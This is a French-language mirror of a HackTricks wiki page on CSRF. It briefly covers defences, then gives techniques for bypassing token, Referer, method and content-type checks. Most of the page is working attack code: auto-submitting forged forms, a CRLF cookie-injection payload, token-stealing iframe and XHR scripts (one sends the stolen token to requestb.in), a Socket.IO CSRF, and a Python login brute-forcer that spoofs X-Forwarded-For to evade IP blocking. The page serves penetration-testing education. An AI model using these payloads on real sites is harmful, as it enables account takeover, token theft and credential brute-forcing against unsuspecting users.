mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 21:24:06 +00:00
613 lines
28 KiB
Markdown
613 lines
28 KiB
Markdown
# CSRF (Cross Site Request Forgery)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||
|
||
Autres façons de soutenir HackTricks :
|
||
|
||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes !
|
||
|
||
**Perspectives de piratage**\
|
||
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage
|
||
|
||
**Actualités de piratage en temps réel**\
|
||
Restez informé du monde du piratage en évolution rapide grâce à des actualités et des informations en temps réel
|
||
|
||
**Dernières annonces**\
|
||
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||
|
||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs pirates dès aujourd'hui !
|
||
|
||
## Explication de la faille de sécurité CSRF (Cross-Site Request Forgery)
|
||
|
||
**La faille de sécurité Cross-Site Request Forgery (CSRF)** est un type de vulnérabilité de sécurité que l'on trouve dans les applications web. Elle permet aux attaquants d'effectuer des actions au nom d'utilisateurs sans méfiance en exploitant leurs sessions authentifiées. L'attaque est exécutée lorsqu'un utilisateur, connecté à la plateforme d'une victime, visite un site malveillant. Ce site déclenche ensuite des requêtes vers le compte de la victime à travers des méthodes telles que l'exécution de JavaScript, la soumission de formulaires ou le chargement d'images.
|
||
|
||
### Prérequis pour une attaque CSRF
|
||
|
||
Pour exploiter une vulnérabilité CSRF, plusieurs conditions doivent être remplies :
|
||
|
||
1. **Identifier une action de valeur** : L'attaquant doit trouver une action à exploiter, telle que le changement du mot de passe de l'utilisateur, de l'e-mail ou l'élévation des privilèges.
|
||
2. **Gestion de session** : La session de l'utilisateur doit être gérée uniquement via des cookies ou l'en-tête d'authentification de base HTTP, car les autres en-têtes ne peuvent pas être manipulés à cette fin.
|
||
3. **Absence de paramètres imprévisibles** : La requête ne doit pas contenir de paramètres imprévisibles, car ils peuvent empêcher l'attaque.
|
||
|
||
### Vérification rapide
|
||
|
||
Vous pourriez **capturer la requête dans Burp** et vérifier les protections CSRF et pour tester depuis le navigateur, vous pouvez cliquer sur **Copier comme fetch** et vérifier la requête :
|
||
|
||
<figure><img src="../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
### Se défendre contre les attaques CSRF
|
||
|
||
Plusieurs contre-mesures peuvent être mises en place pour se protéger contre les attaques CSRF :
|
||
|
||
* [**Cookies SameSite**](hacking-with-cookies/#samesite) : Cet attribut empêche le navigateur d'envoyer des cookies avec des requêtes entre sites. [En savoir plus sur les cookies SameSite](hacking-with-cookies/#samesite).
|
||
* [**Partage de ressources entre origines**](cors-bypass.md) : La politique CORS du site victime peut influencer la faisabilité de l'attaque, en particulier si l'attaque nécessite la lecture de la réponse du site victime. [Apprenez-en plus sur le contournement de CORS](cors-bypass.md).
|
||
* **Vérification de l'utilisateur** : Demander le mot de passe de l'utilisateur ou résoudre un captcha peut confirmer l'intention de l'utilisateur.
|
||
* **Vérification des en-têtes Referrer ou Origin** : Valider ces en-têtes peut aider à garantir que les requêtes proviennent de sources de confiance. Cependant, une création soigneuse d'URL peut contourner des vérifications mal implémentées, telles que :
|
||
* Utiliser `http://mal.net?orig=http://example.com` (l'URL se termine par l'URL de confiance)
|
||
* Utiliser `http://example.com.mal.net` (l'URL commence par l'URL de confiance)
|
||
* **Modification des noms de paramètres** : Modifier les noms de paramètres dans les requêtes POST ou GET peut aider à prévenir les attaques automatisées.
|
||
* **Jetons CSRF** : Incorporer un jeton CSRF unique dans chaque session et exiger ce jeton dans les requêtes ultérieures peut atténuer considérablement le risque de CSRF. L'efficacité du jeton peut être renforcée en imposant CORS.
|
||
|
||
Comprendre et mettre en œuvre ces défenses est crucial pour maintenir la sécurité et l'intégrité des applications web.
|
||
|
||
## Contournement des défenses
|
||
|
||
### De POST à GET
|
||
|
||
Peut-être que le formulaire que vous souhaitez exploiter est configuré pour envoyer une **requête POST avec un jeton CSRF mais**, vous devriez **vérifier** si un **GET** est également **valide** et si lorsque vous envoyez une requête GET le **jeton CSRF est toujours validé**.
|
||
|
||
### Absence de jeton
|
||
|
||
Les applications peuvent mettre en place un mécanisme pour **valider les jetons** lorsqu'ils sont présents. Cependant, une vulnérabilité apparaît si la validation est complètement ignorée lorsque le jeton est absent. Les attaquants peuvent exploiter cela en **supprimant le paramètre** qui contient le jeton, pas seulement sa valeur. Cela leur permet de contourner le processus de validation et de mener une attaque de type Cross-Site Request Forgery (CSRF) efficacement.
|
||
|
||
### Le jeton CSRF n'est pas lié à la session utilisateur
|
||
|
||
Les applications **ne liant pas les jetons CSRF aux sessions utilisateur** présentent un risque de sécurité important. Ces systèmes vérifient les jetons par rapport à un **pool global** plutôt que de s'assurer que chaque jeton est lié à la session initiale.
|
||
|
||
Voici comment les attaquants exploitent cela :
|
||
|
||
1. **S'authentifier** en utilisant leur propre compte.
|
||
2. **Obtenir un jeton CSRF valide** à partir du pool global.
|
||
3. **Utiliser ce jeton** dans une attaque CSRF contre une victime.
|
||
|
||
Cette vulnérabilité permet aux attaquants de faire des requêtes non autorisées au nom de la victime, exploitant le mécanisme de validation de jeton inadéquat de l'application.
|
||
|
||
### Contournement de méthode
|
||
|
||
Si la requête utilise une **"méthode étrange"**, vérifiez si la **fonctionnalité de remplacement de méthode** fonctionne. Par exemple, si elle **utilise une méthode PUT**, vous pouvez essayer d'**utiliser une méthode POST** et **envoyer** : _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||
|
||
Cela pourrait également fonctionner en envoyant le **paramètre \_method à l'intérieur d'une requête POST** ou en utilisant les **en-têtes** :
|
||
|
||
* _X-HTTP-Method_
|
||
* _X-HTTP-Method-Override_
|
||
* _X-Method-Override_
|
||
|
||
### Contournement du jeton d'en-tête personnalisé
|
||
|
||
Si la requête ajoute un **en-tête personnalisé** avec un **jeton** à la requête comme **méthode de protection CSRF**, alors :
|
||
|
||
* Testez la requête sans le **jeton personnalisé et aussi l'en-tête**.
|
||
* Testez la requête avec exactement la **même longueur mais un jeton différent**.
|
||
|
||
### Le jeton CSRF est vérifié par un cookie
|
||
|
||
Les applications peuvent mettre en place une protection CSRF en dupliquant le jeton à la fois dans un cookie et un paramètre de requête ou en définissant un cookie CSRF et en vérifiant si le jeton envoyé en backend correspond au cookie. L'application valide les requêtes en vérifiant si le jeton dans le paramètre de requête correspond à la valeur dans le cookie.
|
||
|
||
Cependant, cette méthode est vulnérable aux attaques CSRF si le site web présente des failles permettant à un attaquant de définir un cookie CSRF dans le navigateur de la victime, comme une vulnérabilité CRLF. L'attaquant peut exploiter cela en chargeant une image trompeuse qui définit le cookie, suivi de l'initiation de l'attaque CSRF.
|
||
|
||
Voici un exemple de la manière dont une attaque pourrait être structurée:
|
||
```html
|
||
<html>
|
||
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
|
||
<body>
|
||
<script>history.pushState('', '', '/')</script>
|
||
<form action="https://example.com/my-account/change-email" method="POST">
|
||
<input type="hidden" name="email" value="asd@asd.asd" />
|
||
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
<img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
|
||
</body>
|
||
</html>
|
||
|
||
```
|
||
{% hint style="info" %}
|
||
Notez que si le **jeton csrf est lié au cookie de session, cette attaque ne fonctionnera pas** car vous devrez définir votre session comme victime, et donc vous vous attaquerez vous-même.
|
||
{% endhint %}
|
||
|
||
### Changement de type de contenu
|
||
|
||
Selon [**ceci**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), afin d'**éviter les requêtes de pré-vérification** en utilisant la méthode **POST**, voici les valeurs de Content-Type autorisées :
|
||
|
||
* **`application/x-www-form-urlencoded`**
|
||
* **`multipart/form-data`**
|
||
* **`text/plain`**
|
||
|
||
Cependant, notez que la **logique des serveurs peut varier** en fonction du **Content-Type** utilisé, donc vous devriez essayer les valeurs mentionnées et d'autres comme **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||
|
||
Exemple (de [ici](https://brycec.me/posts/corctf\_2021\_challenges)) d'envoi de données JSON en tant que text/plain :
|
||
```html
|
||
<html>
|
||
<body>
|
||
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
|
||
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
|
||
</form>
|
||
<script>
|
||
form.submit();
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
### Contournement des demandes de pré-vérification pour les données JSON
|
||
|
||
Lors de la tentative d'envoi de données JSON via une requête POST, l'utilisation de `Content-Type: application/json` dans un formulaire HTML n'est pas directement possible. De même, l'utilisation de `XMLHttpRequest` pour envoyer ce type de contenu initie une demande de pré-vérification. Néanmoins, il existe des stratégies pour contourner potentiellement cette limitation et vérifier si le serveur traite les données JSON indépendamment du Content-Type :
|
||
|
||
1. **Utiliser des types de contenu alternatifs** : Utilisez `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` en définissant `enctype="text/plain"` dans le formulaire. Cette approche teste si le backend utilise les données indépendamment du Content-Type.
|
||
2. **Modifier le type de contenu** : Pour éviter une demande de pré-vérification tout en garantissant que le serveur reconnaisse le contenu comme JSON, vous pouvez envoyer les données avec `Content-Type: text/plain; application/json`. Cela ne déclenche pas de demande de pré-vérification mais pourrait être traité correctement par le serveur s'il est configuré pour accepter `application/json`.
|
||
3. **Utilisation de fichiers Flash SWF** : Une méthode moins courante mais réalisable implique l'utilisation d'un fichier Flash SWF pour contourner de telles restrictions. Pour une compréhension approfondie de cette technique, consultez [cet article](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||
|
||
### Contournement de la vérification du Référent / Origine
|
||
|
||
**Éviter l'en-tête Référent**
|
||
|
||
Les applications peuvent valider l'en-tête 'Referer' uniquement lorsqu'il est présent. Pour empêcher un navigateur d'envoyer cet en-tête, la balise meta HTML suivante peut être utilisée :
|
||
```xml
|
||
<meta name="referrer" content="never">
|
||
```
|
||
Cela garantit que l'en-tête 'Referer' est omis, contournant potentiellement les vérifications de validation dans certaines applications.
|
||
|
||
**Contournements de Regexp**
|
||
|
||
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
|
||
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
||
{% endcontent-ref %}
|
||
|
||
Pour définir le nom de domaine du serveur dans l'URL que le Référent va envoyer dans les paramètres, vous pouvez faire :
|
||
```html
|
||
<html>
|
||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||
<head><meta name="referrer" content="unsafe-url"></head>
|
||
<body>
|
||
<script>history.pushState('', '', '/')</script>
|
||
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
|
||
<input type="hidden" name="email" value="asd@asd.asd" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
<script>
|
||
// You need to set this or the domain won't appear in the query of the referer header
|
||
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
|
||
document.forms[0].submit();
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
### **Contournement de la méthode HEAD**
|
||
|
||
La première partie [**de ce writeup CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explique que [le code source d'Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un routeur est configuré pour **traiter les requêtes HEAD comme des requêtes GET** sans corps de réponse - une solution de contournement courante qui n'est pas propre à Oak. Au lieu d'un gestionnaire spécifique qui traite les reqs HEAD, ils sont simplement **transmis au gestionnaire GET mais l'application supprime simplement le corps de réponse**.
|
||
|
||
Par conséquent, si une requête GET est limitée, vous pourriez simplement **envoyer une requête HEAD qui sera traitée comme une requête GET**.
|
||
|
||
## **Exemples d'exploitation**
|
||
|
||
### **Exfiltration du jeton CSRF**
|
||
|
||
Si un **jeton CSRF** est utilisé comme **défense**, vous pourriez essayer de **l'exfiltrer** en exploitant une vulnérabilité [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ou une vulnérabilité [**Dangling Markup**](dangling-markup-html-scriptless-injection/).
|
||
|
||
### **GET en utilisant des balises HTML**
|
||
```xml
|
||
<img src="http://google.es?param=VALUE" style="display:none" />
|
||
<h1>404 - Page not found</h1>
|
||
The URL you are requesting is no longer available
|
||
```
|
||
D'autres balises HTML5 qui peuvent être utilisées pour envoyer automatiquement une requête GET sont :
|
||
```html
|
||
<iframe src="..."></iframe>
|
||
<script src="..."></script>
|
||
<img src="..." alt="">
|
||
<embed src="...">
|
||
<audio src="...">
|
||
<video src="...">
|
||
<source src="..." type="...">
|
||
<video poster="...">
|
||
<link rel="stylesheet" href="...">
|
||
<object data="...">
|
||
<body background="...">
|
||
<div style="background: url('...');"></div>
|
||
<style>
|
||
body { background: url('...'); }
|
||
</style>
|
||
<bgsound src="...">
|
||
<track src="..." kind="subtitles">
|
||
<input type="image" src="..." alt="Submit Button">
|
||
```
|
||
### Requête GET de formulaire
|
||
```html
|
||
<html>
|
||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||
<body>
|
||
<script>history.pushState('', '', '/')</script>
|
||
<form method="GET" action="https://victim.net/email/change-email">
|
||
<input type="hidden" name="email" value="some@email.com" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
<script>
|
||
document.forms[0].submit();
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
### Requête POST de formulaire
|
||
```html
|
||
<html>
|
||
<body>
|
||
<script>history.pushState('', '', '/')</script>
|
||
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
|
||
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
|
||
<input type="submit" value="Submit request" />
|
||
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
|
||
</form>
|
||
<script>
|
||
document.forms[0].submit(); //Way 3 to autosubmit
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
### Envoyer une requête POST de formulaire via un iframe
|
||
```html
|
||
<!--
|
||
The request is sent through the iframe withuot reloading the page
|
||
-->
|
||
<html>
|
||
<body>
|
||
<iframe style="display:none" name="csrfframe"></iframe>
|
||
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
|
||
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
<script>
|
||
document.forms[0].submit();
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
### **Requête POST Ajax**
|
||
```html
|
||
<script>
|
||
var xh;
|
||
if (window.XMLHttpRequest)
|
||
{// code for IE7+, Firefox, Chrome, Opera, Safari
|
||
xh=new XMLHttpRequest();
|
||
}
|
||
else
|
||
{// code for IE6, IE5
|
||
xh=new ActiveXObject("Microsoft.XMLHTTP");
|
||
}
|
||
xh.withCredentials = true;
|
||
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
|
||
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
|
||
xh.send("username=abcd&status=on");
|
||
</script>
|
||
|
||
<script>
|
||
//JQuery version
|
||
$.ajax({
|
||
type: "POST",
|
||
url: "https://google.com",
|
||
data: "param=value¶m2=value2"
|
||
})
|
||
</script>
|
||
```
|
||
### Requête POST multipart/form-data
|
||
```javascript
|
||
myFormData = new FormData();
|
||
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
|
||
myFormData.append("newAttachment", blob, "pwned.php");
|
||
fetch("http://example/some/path", {
|
||
method: "post",
|
||
body: myFormData,
|
||
credentials: "include",
|
||
headers: {"Content-Type": "application/x-www-form-urlencoded"},
|
||
mode: "no-cors"
|
||
});
|
||
```
|
||
### Requête POST multipart/form-data v2
|
||
```javascript
|
||
// https://www.exploit-db.com/exploits/20009
|
||
var fileSize = fileData.length,
|
||
boundary = "OWNEDBYOFFSEC",
|
||
xhr = new XMLHttpRequest();
|
||
xhr.withCredentials = true;
|
||
xhr.open("POST", url, true);
|
||
// MIME POST request.
|
||
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
|
||
xhr.setRequestHeader("Content-Length", fileSize);
|
||
var body = "--" + boundary + "\r\n";
|
||
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
|
||
body += "Content-Type: " + ctype + "\r\n\r\n";
|
||
body += fileData + "\r\n";
|
||
body += "--" + boundary + "--";
|
||
|
||
//xhr.send(body);
|
||
xhr.sendAsBinary(body);
|
||
```
|
||
### Requête POST de formulaire à partir d'un iframe
|
||
```html
|
||
<--! expl.html -->
|
||
|
||
<body onload="envia()">
|
||
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
|
||
<input type="text" id="pwd" name="pwd" value="otra nueva">
|
||
</form>
|
||
<body>
|
||
<script>
|
||
function envia(){document.getElementById("formulario").submit();}
|
||
</script>
|
||
|
||
<!-- public.html -->
|
||
<iframe src="2-1.html" style="position:absolute;top:-5000">
|
||
</iframe>
|
||
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
|
||
```
|
||
### **Vol CSRF et envoyer une requête POST**
|
||
```javascript
|
||
function submitFormWithTokenJS(token) {
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.open("POST", POST_URL, true);
|
||
xhr.withCredentials = true;
|
||
|
||
// Send the proper header information along with the request
|
||
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
|
||
|
||
// This is for debugging and can be removed
|
||
xhr.onreadystatechange = function() {
|
||
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
|
||
//console.log(xhr.responseText);
|
||
}
|
||
}
|
||
|
||
xhr.send("token=" + token + "&otherparama=heyyyy");
|
||
}
|
||
|
||
function getTokenJS() {
|
||
var xhr = new XMLHttpRequest();
|
||
// This tels it to return it as a HTML document
|
||
xhr.responseType = "document";
|
||
xhr.withCredentials = true;
|
||
// true on the end of here makes the call asynchronous
|
||
xhr.open("GET", GET_URL, true);
|
||
xhr.onload = function (e) {
|
||
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
|
||
// Get the document from the response
|
||
page = xhr.response
|
||
// Get the input element
|
||
input = page.getElementById("token");
|
||
// Show the token
|
||
//console.log("The token is: " + input.value);
|
||
// Use the token to submit the form
|
||
submitFormWithTokenJS(input.value);
|
||
}
|
||
};
|
||
// Make the request
|
||
xhr.send(null);
|
||
}
|
||
|
||
var GET_URL="http://google.com?param=VALUE"
|
||
var POST_URL="http://google.com?param=VALUE"
|
||
getTokenJS();
|
||
```
|
||
### **Vol de jeton CSRF et envoi d'une requête POST à l'aide d'un iframe, d'un formulaire et d'Ajax**
|
||
```html
|
||
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
|
||
<input type="text" name="username" value="AA">
|
||
<input type="checkbox" name="status" checked="checked">
|
||
<input id="token" type="hidden" name="token" value="" />
|
||
</form>
|
||
|
||
<script type="text/javascript">
|
||
function f1(){
|
||
x1=document.getElementById("i1");
|
||
x1d=(x1.contentWindow||x1.contentDocument);
|
||
t=x1d.document.getElementById("token").value;
|
||
|
||
document.getElementById("token").value=t;
|
||
document.getElementById("form1").submit();
|
||
}
|
||
</script>
|
||
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
|
||
```
|
||
### **Vol CSRF Token et envoyer une requête POST en utilisant un iframe et un formulaire**
|
||
```html
|
||
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
|
||
|
||
<script>
|
||
function read()
|
||
{
|
||
var name = 'admin2';
|
||
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
|
||
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
|
||
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
|
||
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
|
||
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
|
||
document.writeln('</form>');
|
||
document.forms[0].submit.click();
|
||
}
|
||
</script>
|
||
```
|
||
### **Vol de jeton et envoi à l'aide de 2 iframes**
|
||
```html
|
||
<script>
|
||
var token;
|
||
function readframe1(){
|
||
token = frame1.document.getElementById("profile").token.value;
|
||
document.getElementById("bypass").token.value = token
|
||
loadframe2();
|
||
}
|
||
function loadframe2(){
|
||
var test = document.getElementbyId("frame2");
|
||
test.src = "http://requestb.in/1g6asbg1?token="+token;
|
||
}
|
||
</script>
|
||
|
||
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
|
||
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
|
||
height="600" width="800"></iframe>
|
||
|
||
<iframe id="frame2" name="frame2"
|
||
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
|
||
height="600" width="800"></iframe>
|
||
<body onload="document.forms[0].submit()">
|
||
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
|
||
<input type="text" name="username" value="z">
|
||
<input type="checkbox" name="status" checked="">
|
||
<input id="token" type="hidden" name="token" value="0000" />
|
||
<button type="submit">Submit</button>
|
||
</form>
|
||
```
|
||
### **POSTVoler le jeton CSRF avec Ajax et envoyer une requête POST avec un formulaire**
|
||
```html
|
||
<body onload="getData()">
|
||
|
||
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
|
||
<input type="hidden" name="username" value="root"/>
|
||
<input type="hidden" name="status" value="on"/>
|
||
<input type="hidden" id="findtoken" name="token" value=""/>
|
||
<input type="submit" value="valider"/>
|
||
</form>
|
||
|
||
<script>
|
||
var x = new XMLHttpRequest();
|
||
function getData() {
|
||
x.withCredentials = true;
|
||
x.open("GET","http://google.com?param=VALUE",true);
|
||
x.send(null);
|
||
}
|
||
x.onreadystatechange = function() {
|
||
if (x.readyState == XMLHttpRequest.DONE) {
|
||
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
|
||
document.getElementById("findtoken").value = token;
|
||
document.getElementById("form").submit();
|
||
}
|
||
}
|
||
</script>
|
||
```
|
||
### CSRF avec Socket.IO
|
||
```html
|
||
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
||
<script>
|
||
let socket = io('http://six.jh2i.com:50022/test');
|
||
|
||
const username = 'admin'
|
||
|
||
socket.on('connect', () => {
|
||
console.log('connected!');
|
||
socket.emit('join', {
|
||
room: username
|
||
});
|
||
socket.emit('my_room_event', {
|
||
data: '!flag',
|
||
room: username
|
||
})
|
||
|
||
});
|
||
</script>
|
||
```
|
||
## CSRF Brute Force de Connexion
|
||
|
||
Le code peut être utilisé pour effectuer une attaque de force brute sur un formulaire de connexion en utilisant un jeton CSRF (Il utilise également l'en-tête X-Forwarded-For pour tenter de contourner un éventuel blocage d'IP) :
|
||
```python
|
||
import request
|
||
import re
|
||
import random
|
||
|
||
URL = "http://10.10.10.191/admin/"
|
||
PROXY = { "http": "127.0.0.1:8080"}
|
||
SESSION_COOKIE_NAME = "BLUDIT-KEY"
|
||
USER = "fergus"
|
||
PASS_LIST="./words"
|
||
|
||
def init_session():
|
||
#Return CSRF + Session (cookie)
|
||
r = requests.get(URL)
|
||
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
|
||
csrf = csrf.group(1)
|
||
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
|
||
return csrf, session_cookie
|
||
|
||
def login(user, password):
|
||
print(f"{user}:{password}")
|
||
csrf, cookie = init_session()
|
||
cookies = {SESSION_COOKIE_NAME: cookie}
|
||
data = {
|
||
"tokenCSRF": csrf,
|
||
"username": user,
|
||
"password": password,
|
||
"save": ""
|
||
}
|
||
headers = {
|
||
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
|
||
}
|
||
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
|
||
if "Username or password incorrect" in r.text:
|
||
return False
|
||
else:
|
||
print(f"FOUND {user} : {password}")
|
||
return True
|
||
|
||
with open(PASS_LIST, "r") as f:
|
||
for line in f:
|
||
login(USER, line.strip())
|
||
```
|
||
## Outils <a href="#tools" id="tools"></a>
|
||
|
||
* [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
|
||
* [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
|
||
|
||
## Références
|
||
|
||
* [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
|
||
* [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
|
||
* [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
|
||
* [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
||
|
||
|
||
|
||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en bugs !
|
||
|
||
**Perspectives de Hacking**\
|
||
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
|
||
|
||
**Actualités de Hacking en Temps Réel**\
|
||
Restez à jour avec le monde du hacking en évolution rapide grâce aux actualités et aux informations en temps réel
|
||
|
||
**Dernières Annonces**\
|
||
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||
|
||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui!
|
||
|
||
<details>
|
||
|
||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Autres façons de soutenir HackTricks:
|
||
|
||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|